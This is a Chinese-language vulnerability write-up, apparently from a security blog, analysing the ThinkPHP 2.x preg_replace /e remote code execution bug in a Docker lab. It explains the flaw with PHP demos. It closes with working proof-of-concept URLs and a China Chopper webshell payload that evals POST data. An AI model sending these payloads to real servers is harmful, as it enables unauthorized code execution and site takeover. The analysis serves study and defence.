ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架，这个框架曾经爆出各种RCE和SQL注入漏洞。

斗哥将带来ThinkPHP各个版本的漏洞分析文章，此为第一篇从TP最早的版本开始分析。

 漏洞描述

在ThinkPHP ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由：

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞，也存在这个漏洞。

所以先来看看preg_replace这个函数，这个函数是个替换函数，而且支持正则，使用方式如下：

preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数，结合起来的意思是：如果目标字符存在符合正则规则的字符，那么就替换为替换字符，如果此时正则规则中使用了/e这个修饰符，则存在代码执行漏洞。

下面是搜索到的关于/e的解释：

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  /e 可执行模式，此为PHP专有参数，例如preg_replace函数。

本地测试直接使用下面这行代码测试即可，可使用在线PHP沙箱来测试。

沙箱地址：http://sandbox.onlinephpfunctions.com/

<?php@preg_replace('/test/e','print_r("AAA");','just test');

这个函数5.2~5.6都还是可以执行的，但是到了php 版本7 以上，就已经都不支持/e修饰符了。

环境搭建与漏洞复现

斗哥选择了vunhub的docker靶场进行环境搭建，执行如下命令启动ThinkPHP 2.1的Demo应用：

docker-compose up -d

访问http://10.10.10.199:8080/index.php?s=/index/index/xxx/${@phpinfo()}

分析学习

从漏洞挖掘的角度，如果采用的是关键函数查找的方式，应该是先搜索preg_replace这个函数，发现使用了这个函数之后，在查看是否使用/e修饰符，然后查看是否存在可控参数，如果存在，在分析是否可以传参利用。

docker psdocker exec -it <Container ID> /bin/bashcd /var/www/htmlfind . -name '*.php' | xargs grep -n 'preg_replace'

存在preg_replace函数的脚本：

./ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php./ThinkPHP/Mode/Lite/Dispatcher.class.php./ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php./ThinkPHP/Lib/Think/Template/TagLib.class.php./ThinkPHP/Lib/Think/Util/HtmlCache.class.php./ThinkPHP/Lib/Think/Util/Dispatcher.class.php./ThinkPHP/Common/extend.php./ThinkPHP/Common/functions.php

存在/e修饰符的脚本：

./ThinkPHP/Mode/Lite/Dispatcher.class.php:115:            $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57:                $rule  = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58:                $rule  = preg_replace('/{\$(_\w+)\.(\w+)}/e',"\$\\1['\\2']",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60:                $rule  = preg_replace('/{(\w+)\|(\w+)}/e',"\\2(\$_GET['\\1'])",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61:                $rule  = preg_replace('/{(\w+)}/e',"\$_GET['\\1']",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68:                $rule  = preg_replace('/{|(\w+)}/e',"\\1()",$rule);./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224:                    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239:                    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx));./ThinkPHP/Common/extend.php:215:        $str = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);./ThinkPHP/Common/functions.php:145:        return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('\\1')", $name));

根据漏洞描述，有漏洞的代码位置在：

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

根据代码注释，了解到这个是thinkphp 内置的Dispacher类，用来完成URL解析、路由和调度。所以有必要了解一下thinkphp的关于这块功能的使用。

在我看来，thinkphp 应该也是MVC框架，所有的请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类。

类名为`Dispatcher`，class Dispatcher extends Think里面的方法有:static public function dispatch() URL映射到控制器public static function getPathInfo()  获得服务器的PATH_INFO信息static public function routerCheck() 路由检测static private function parseUrl($route)static private function getModule($var) 获得实际的模块名称static private function getGroup($var) 获得实际的分组名称

有漏洞的代码位置在static public function dispatch()，叫URL映射控制器，也就是URL访问的路径是映射到哪个控制器下。

参考文章：https://www.cnblogs.com/TigerYangWTH/p/5792286.html 得到：

• thinkphp 所有的主入口文件默认访问index控制器（模块）
• thinkphp 所有的控制器默认执行index动作（方法）

参考文章：https://www.kancloud.cn/manual/thinkphp5_1/353955 得到：URL访问规则：

ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是：http://serverName/index.php（或者其它应用入口文件）/模块/控制器/操作/[参数名/参数值...]如果不支持PATHINFO的服务器可以使用兼容模式访问如下：http://serverName/index.php（或者其它应用入口文件）?s=/模块/控制器/操作/[参数名/参数值...]

漏洞所在关键代码块

// 分析PATHINFO信息self::getPathInfo();if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL    $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));    $var  =  array();    if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){        $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';        if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {            // 禁止直接访问分组            exit;        }    }    if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称        $var[C('VAR_MODULE')]  =   array_shift($paths);    }    $var[C('VAR_ACTION')]  =   array_shift($paths);    // 解析剩余的URL参数    $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));    $_GET   =  array_merge($var,$_GET);}

if(!self::routerCheck())

首先是没有路由规则，所以函数按照默认规则调度URL。

先看到 $var[\'\\1\']="\\2"; ，而$var是一个array。

根据文章：https://www.bbsmax.com/A/l1dyr8E6ze/ ,https://521-wf.com/archives/45.html学习得到的姿势：

代码1：注意看当前的变量a 值为字符串，且该字符串本脚本没有相同的函数名。

<?phpfunction test($str){    echo "This func is run  $str .";}$a='GoodGoodStudy';$b='[bbbaaahelloworldaaabbb]';echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);运行结果：[bbbGoodGoodStudybbb]

代码2：注意看当前的变量a 值为test()。

<?phpfunction test($str){    echo "This func is run  $str .";}$a='test()';$b='[bbbaaahelloworldaaabbb]';echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);运行结果：This func is run   .[bbbbbb]

可以发现执行了test()这个函数，但是并没有传递参数进去。

代码3：注意看当前的变量a 值为test("\1")。

<?phpfunction test($str){    echo "This func is run  $str .";}$a='test("\1")';$b='[bbbaaahelloworldaaabbb]';echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);运行结果：This func is run  helloworld .[bbbbbb]

可以发现执行了test()这个函数，我们表面传递的参数是"\1"，结果表明参数确实传递进去了，但是本例传进去的是helloworld，helloworld是经过preg_replace()函数匹配要替换掉的原本那部分，现在转而成了参数进行传递了。

那我们假设现在$b的值是可控的，用户可以传参控制。

代码4：控制$b传递一个已知变量$c。

<?phpfunction test($str){    echo "This func is run  $str .";}$a='test("\1")';$b='aaa$caaa';$c="CXK";echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);运行结果：This func is run  CXK .

基于这个结果，在PHP当中，${}是可以构造一个变量的，{}写的是一般的字符，那么就会被当成变量，比如${a}等价于$a，那如果{}写的是一个已知函数名称呢？那么这个函数就会被执行，具体例子我们可以参考如下这个例子。

代码5：

<?phpecho phpversion();echo "\n";$a = "CXK";echo "aaaaa{${a}}aaaaaa";echo "\n";echo "aaaaa${phpversion()}aaaaaa";运行结果：5.6.19aaaaaCXKaaaaaaNotice:  Undefined variable: 5.6.19 in <b>[...][...] on line 11aaaaaaaaaaa

可以看到，因为没有一个变量名为5.6.19所以报错了，但是代码却执行了，是不是有点像报错注入的感觉？

回到ThinkPHP的代码中来，可控的位置为implode($depr,$paths)，implode()是将数组转成字符串，而'$var[\'\\1\']="\\2";'是对一个数组做操作。

来分析一下正则(\w+)\/([^/]+)，这个正则的意思是取路径的每2个参数。

代码：

<?php$var = array();$a='$var[\'\\1\']="\\2";';$b='a/b/c/d/e/f';preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);print_r($var);运行结果：Array(    [a] => b    [c] => d    [e] => f)

通过上面的代码，更加清晰的是取出每2个参数，然后第一个参数作为数组的键，第二个参数作为数组的值，那么在这个过程当中，上述例子如果$b可控，同样会发生代码执行。

代码：此时$b采用的是双引号闭合的，注意如果采用单引号则不会有代码执行。

<?php$var = array();$a='$var[\'\\1\']="\\2";';$b="a/{${phpversion()}}/c/d/e/f";preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);print_r($var);运行结果：Notice:  Undefined variable: 5.4.6 in [...][...]on line 5Array(    [c] => d    [e] => f)

需要说明的是，代码执行的位置，必须是数组的值的位置而不是键的位置。

然后在回到ThinkPHP的代码中来

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称    $var[C('VAR_MODULE')]  =   array_shift($paths);}$var[C('VAR_ACTION')]  =   array_shift($paths);// 解析剩余的URL参数$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));$_GET   =  array_merge($var,$_GET);

数组$var在路径存在模块和动作时，会去除掉前2个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。

所以我们可以构造poc如下：

/index.php?s=a/b/c/${phpinfo()}/index.php?s=a/b/c/${phpinfo()}/c/d/e/f/index.php?s=a/b/c/d/e/${phpinfo()}......

下面给出一个能够直接菜刀连接的payload：

/index.php?s=a/b/c/${@print(eval($_POST[1]))}